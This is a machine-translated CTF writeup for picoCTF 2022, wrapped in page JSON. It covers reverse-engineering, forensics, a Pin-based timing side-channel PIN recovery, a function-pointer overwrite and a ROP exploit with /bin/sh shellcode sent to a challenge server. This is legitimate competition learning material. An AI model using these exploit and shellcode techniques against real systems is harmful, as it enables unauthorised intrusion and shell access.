{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-picoctf-2022-en","result":{"data":{"markdownRemark":{"id":"bb4f7c5a-2aaa-570b-96fb-31f3e8de1078","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I participated in picoCTF2022.

\n

This time I tried some Forensic and Pwn challenges in addition to my usual Rev.

\n

I cleared all of the Rev and Forensic challenges, but unfortunately I still had two Pwn problems left unsolved.

\n

Even so, I picked up around three new techniques, so it was very worthwhile.

\n

In this article, I’ll briefly write up the problems where I personally learned something.

\n\n

Table of Contents

\n\n

Rev

\n

To be honest, the Rev challenges were fairly easy overall, so there is not much to write about. But the last one was an unusual type of problem and pretty interesting, so I wanted to summarize it.

\n

Wizardlike(Rev)

\n

The problem statement looked like this.

\n
\n

Description

\n

Do you seek your destiny in these deplorable dungeons? If so, you may want to look elsewhere. Many have gone before you and honestly, they’ve cleared out the place of all monsters, ne’erdowells, bandits and every other sort of evil foe. The dungeons themselves have seen better days too. There’s a lot of missing floors and key passages blocked off. You’d have to be a real wizard to make any progress in this sorry excuse for a dungeon!Download the game.’w’, ’a’, ’s’, ’d’ moves your character and ’Q’ quits. You’ll need to improvise some wizardly abilities to find the flag in this dungeon crawl. ’.’ is floor, ’#’ are walls, ’<’ are stairs up to previous level, and ’>’ are stairs down to next level.

\n
\n

You are given a game binary that feels like a console version of The Tower of Druaga.

\n

The challenge is to climb the tower and uncover the flag, but unfortunately the map is structured so that you cannot climb it by playing normally.

\n

Because of that, the intended solution was probably to identify the memory addresses storing the floor and coordinates, then tamper with them arbitrarily to warp around the map while exploring.

\n

The memory addresses for the floor and coordinates themselves can be obtained easily by decompiling the binary with Ghidra or a similar tool.

\n

To modify memory addresses during gameplay, I used gdb remote debugging.

\n
# gdbserverを使用してゲームを起動\ngdbserver localhost:1234 game-p\n\n# 別のコンソールからgdbを起動して接続\ngdb\ntarget remote localhost:1234
\n

With this, you can solve the challenge while moving between floors and around the map.

\n

Unfortunately, choosing the coordinates for each map move involved a lot of guesswork and was pretty tedious.

\n

So in the end, I identified the map information for each floor in the data section with Ghidra, then recovered all of the maps at once using the following script, which I reversed from the program used to update the game’s map. That let me get the flag.

\n
from pprint import pprint\n\ntable = [\n    [\" \" for i in range(100)] for j in range(100)\n]\n\ndata = <MapData>\n\nfor i in range(len(data)):\n    print(chr(data[i]), end=\"\")\n    if i % 100 == 0:\n        print(\"\")
\n

Forensic

\n

I learned several new techniques in the Forensic challenges, so I am recording them here.

\n

Operation Orchid(Forensic)

\n
\n

Description

\n

Download this disk image and find the flag.Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.

\n
\n

There was also a similar challenge called “Operation Oni”, but this one was about finding the information you need inside an image file.

\n

The basic flow was to identify a mountable section inside the image file, mount it locally, and then explore the directories.

\n

First, use the fdisk -lu command to inspect the image file.

\n
$ fdisk -lu disk.img\nDisk disk.img: 400 MiB, 419430400 bytes, 819200 sectors\nUnits: sectors of 1 * 512 = 512 bytes\nSector size (logical/physical): 512 bytes / 512 bytes\nI/O size (minimum/optimal): 512 bytes / 512 bytes\nDisklabel type: dos\nDisk identifier: 0xb11a86e3\nDevice     Boot  Start    End Sectors  Size Id Type\ndisk.img1  *      2048 206847  204800  100M 83 Linux\ndisk.img2       206848 411647  204800  100M 82 Linux swap / Solaris\ndisk.img3       411648 819199  407552  199M 83 Linux
\n

Here, I wanted to mount disk.img3, so I used the mount command with an offset equal to the start sector number 411648 multiplied by the sector size 512.

\n
sudo mount -o loop,offset=210763776 disk.img ./mnt\nsudo chown ubuntu:ubuntu ./* -R
\n

Changing the owner as well makes exploration easier.

\n

When I explored the mounted directory, I found the following command history in .bash_history.

\n
nano flag.txt \nopenssl\nopenssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567\nshred -u flag.txt\nls -al
\n

In other words, if you restore the file encrypted with aes256 using unbreakablepassword1234567, you can get the flag.

\n

So I decrypted it with the following command.

\n
openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567
\n

That gives you the flag.

\n

SideChannel(SideChannel)

\n
\n

Description

\n

There’s something fishy about this PIN-code checker, can you figure out the PIN and get the flag?Download the PIN checker program here pin_checkerOnce you’ve figured out the PIN (and gotten the checker program to accept it), connect to the master server using nc saturn.picoctf.net 50562 and provide it the PIN to get your flag.

\n
\n

I understood how to approach this one, but actually getting the flag was very difficult. Still, it was an extremely interesting problem.

\n

First, download PinTool from Pin - A Binary Instrumentation Tool - Downloads.

\n

When you extract the downloaded file, you get a directory like this.

\n
$ ls -l\ntotal 388\n-rw-r--r-- 1 ubuntu ubuntu  63816 Feb 16 02:04 README\ndrwxr-x--- 3 ubuntu ubuntu   4096 Feb 16 02:14 doc\ndrwxr-x--- 9 ubuntu ubuntu   4096 Feb 16 02:14 extras\ndrwxr-x--- 6 ubuntu ubuntu   4096 Feb 16 02:12 ia32\ndrwxr-x--- 6 ubuntu ubuntu   4096 Feb 16 02:14 intel64\ndrwxr-xr-x 2 ubuntu ubuntu   4096 Feb 16 02:14 licensing\n-rwxr-xr-x 1 ubuntu ubuntu 292996 Feb 16 02:09 pin\n-rwxr-x--- 1 ubuntu ubuntu   8418 Feb 16 02:15 pin.sig\ndrwxr-x--- 5 ubuntu ubuntu   4096 Feb 16 02:14 source
\n

From there, you need to build PinTool, and since the challenge binary is a 32-bit ELF binary, you need to build the ia32 tools.

\n

So first, install the packages required for the build.

\n
sudo apt-get install libc6-dev-i386\nsudo apt-get install gcc-multilib g++-multilib
\n

Next, move to source/tools/SimpleExamples and build the tool.

\n
cd source/tools/SimpleExamples$\nmake all TARGET=ia32
\n

Note that you need to specify TARGET=ia32.

\n

If the build succeeds, ~/pintools/source/tools/SimpleExamples/obj-ia32/inscount2_mt.so should be generated.

\n

Then you can use it to identify the PIN one digit at a time with a side-channel attack.

\n

Below is the solver I used.

\n
import subprocess\ncmd = \"/home/ubuntu/pintools/pin -t /home/ubuntu/pintools/source/tools/SimpleExamples/obj-ia32/inscount2_mt.so -- ./pin_checker\".split(\" \")\nans = []\nfor i in range(10):\n    t = \"\" + str(i) + \"0\"*7\n    print(t)\n    cp = subprocess.run(cmd, input=t.encode())\n    \n# 48390513
\n

The code above changes the first digit and checks the result.

\n

If you look at each PIN input and the pintool count results from running it, you can see that the value becomes extremely large when the first digit is 4.

\n
00000000\nCount[0] = 53421446\n\n10000000\nCount[0] = 60610315\n\n20000000\nCount[0] = 66361386\n\n30000000\nCount[0] = 66840760\n\n40000000\nCount[0] = 314657590\n\n50000000\nCount[0] = 61089559\n\n60000000\nCount[0] = 61568816\n\n70000000\nCount[0] = 62527330\n\n80000000\nCount[0] = 61089676\n\n90000000\nCount[0] = 62048086
\n

After that, you can identify the correct PIN by repeating the same process for all eight digits.

\n

Pwn

\n

function overwrite(Pwn)

\n
\n

Description

\n

Story telling class 2/2

\n
\n

This hardly counts as a description, but the challenge provided the following code.

\n
#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys/types.h>\n#include <wchar.h>\n#include <locale.h>\n\n#define BUFSIZE 64\n#define FLAGSIZE 64\n\nint calculate_story_score(char *story, size_t len)\n{\n  int score = 0;\n  for (size_t i = 0; i < len; i++)\n  {\n    score += story[i];\n  }\n\n  return score;\n}\n\nvoid easy_checker(char *story, size_t len)\n{\n  if (calculate_story_score(story, len) == 1337)\n  {\n    char buf[FLAGSIZE] = {0};\n    FILE *f = fopen(\"flag.txt\", \"r\");\n    if (f == NULL)\n    {\n      printf(\"%s %s\", \"Please create 'flag.txt' in this directory with your\",\n                      \"own debugging flag.\\n\");\n      exit(0);\n    }\n\n    fgets(buf, FLAGSIZE, f); // size bound read\n    printf(\"You're 1337. Here's the flag.\\n\");\n    printf(\"%s\\n\", buf);\n  }\n  else\n  {\n    printf(\"You've failed this class.\");\n  }\n}\n\nvoid hard_checker(char *story, size_t len)\n{\n  if (calculate_story_score(story, len) == 13371337)\n  {\n    char buf[FLAGSIZE] = {0};\n    FILE *f = fopen(\"flag.txt\", \"r\");\n    if (f == NULL)\n    {\n      printf(\"%s %s\", \"Please create 'flag.txt' in this directory with your\",\n                      \"own debugging flag.\\n\");\n      exit(0);\n    }\n\n    fgets(buf, FLAGSIZE, f); // size bound read\n    printf(\"You're 13371337. Here's the flag.\\n\");\n    printf(\"%s\\n\", buf);\n  }\n  else\n  {\n    printf(\"You've failed this class.\");\n  }\n}\n\nvoid (*check)(char*, size_t) = hard_checker;\nint fun[10] = {0};\n\nvoid vuln()\n{\n  char story[128];\n  int num1, num2;\n\n  printf(\"Tell me a story and then I'll tell you if you're a 1337 >> \");\n  scanf(\"%127s\", story);\n  printf(\"On a totally unrelated note, give me two numbers. Keep the first one less than 10.\\n\");\n  scanf(\"%d %d\", &num1, &num2);\n\n  if (num1 < 10)\n  {\n    fun[num1] += num2;\n  }\n\n  check(story, strlen(story));\n}\n \nint main(int argc, char **argv)\n{\n\n  setvbuf(stdout, NULL, _IONBF, 0);\n\n  // Set the gid to the effective gid\n  // this prevents /bin/sh from dropping the privileges\n  gid_t gid = getegid();\n  setresgid(gid, gid, gid);\n  vuln();\n  return 0;\n}
\n

When you run it normally, vuln calls the function check.

\n

As shown by void (*check)(char*, size_t) = hard_checker;, this check variable stores a pointer to the hard_checker function.

\n

At a high level, the route to the flag was to rewrite this function address to the address of easy_checker, then find an input that satisfies calculate_story_score(story, len) == 1337.

\n

Here, instead of overwriting the function address directly, I abused the following code to perform a relative address overwrite.

\n
if (num1 < 10)\n{\n    fun[num1] += num2;\n}
\n

Specifically, by making the second input -16 -314, you can subtract 314 from the value at the address located 16 bytes before the start of the fun array.

\n

As a result, the value of check, which originally stored the address of the hard_checker function, is overwritten with hard_checker’s address minus 314, causing it to point to the address of easy_checker.

\n

Then I searched for an input of at most 127 characters whose calculation result below becomes 1337. The first input turned out to be aaaaaaaaaaaaaL, which let me get the flag.

\n
int calculate_story_score(char *story, size_t len)\n{\n  int score = 0;\n  for (size_t i = 0; i < len; i++)\n  {\n    score += story[i];\n  }\n\n  return score;\n}
\n

ropfu(Pwn)

\n
\n

Description

\n

What’s ROP?

\n
\n

It was an introductory ROP problem.

\n

For starters, running objdump shows that the stack region has execute permission.

\n
$ objdump -x vuln\nvuln:     file format elf32-i386\nvuln\narchitecture: i386, flags 0x00000112:\nEXEC_P, HAS_SYMS, D_PAGED\nstart address 0x08049c20\n\nProgram Header:\n    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12\n         filesz 0x000001e8 memsz 0x000001e8 flags r--\n    LOAD off    0x00001000 vaddr 0x08049000 paddr 0x08049000 align 2**12\n         filesz 0x0006a960 memsz 0x0006a960 flags r-x\n    LOAD off    0x0006c000 vaddr 0x080b4000 paddr 0x080b4000 align 2**12\n         filesz 0x0002e42d memsz 0x0002e42d flags r--\n    LOAD off    0x0009a6a0 vaddr 0x080e36a0 paddr 0x080e36a0 align 2**12\n         filesz 0x00002c18 memsz 0x00003950 flags rw-\n    NOTE off    0x00000134 vaddr 0x08048134 paddr 0x08048134 align 2**2\n         filesz 0x00000044 memsz 0x00000044 flags r--\n     TLS off    0x0009a6a0 vaddr 0x080e36a0 paddr 0x080e36a0 align 2**2\n         filesz 0x00000010 memsz 0x00000030 flags r--\n   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4\n         filesz 0x00000000 memsz 0x00000000 flags rwx\n   RELRO off    0x0009a6a0 vaddr 0x080e36a0 paddr 0x080e36a0 align 2**0\n         filesz 0x00001960 memsz 0x00001960 flags r--
\n

The stack region that could be overwritten via the buffer overflow was 28 bytes, so I wrote shellcode that would spawn a shell within that space.

\n

The shellcode could be written in the following assembly.

\n
; binsh2.s\nBITS 32\nglobal _start\n \n_start:\n    mov eax, 11\n    jmp buf\nsetebx:\n    pop ebx\n    xor ecx, ecx\n    xor edx, edx\n    int 0x80\nbuf:\n    call setebx\n    db '/bin/sh', 0
\n

This calls execve on x86.

\n

See the following for more details.

\n

Reference: Writing shellcode for Linux x86 - Momoiro Technology

\n

Reference: What Is Shellcode? | Tech Book Zone Manatee

\n

After embedding this shellcode on the stack, I thought it would be enough to place a ret rsp gadget in the return address, but I could not find such a gadget.

\n

So instead, I searched for a jmp eax gadget and used that address, which let me get the flag.

\n

The final solver is below.

\n
from pwn import *\nimport binascii\nimport time\n\nelf = ELF(\"./vuln\")\ncontext.binary = elf\n\nwith open(\"shellcode\", \"rb\") as f:\n    payload = f.read()\n\nprint(len(payload))\npayload += b\"\\x90\"*(28-len(payload))\nret = p32(0x0805334b) # jmp eax\npayload += ret\n\nwith open(\"shellcode\", \"wb\") as f:\n    f.write(payload)\n\n# Local\np = process(\"./vuln\")\n\n# Remote\np = remote(\"saturn.picoctf.net\", 59222)\n\nr = p.recvline()\np.sendline(payload)\np.interactive()
\n

Summary

\n

That was a rough writeup.

\n

I could not clear all of the Pwn challenges, so I need more practice.

","fields":{"slug":"/ctf-picoctf-2022-en","tagSlugs":["/tag/rev-en/","/tag/pwn-en/","/tag/forensic-en/","/tag/english/"]},"frontmatter":{"date":"2022-03-30","description":"","tags":["Rev (en)","Pwn (en)","Forensic (en)","English"],"title":"PicoCTF 2022 Writeup","socialImage":{"publicURL":"/static/43b63a7448b0fa40e9aeb9f982151bfd/ctf-picoctf-2022.png"}}}},"pageContext":{"slug":"/ctf-picoctf-2022-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}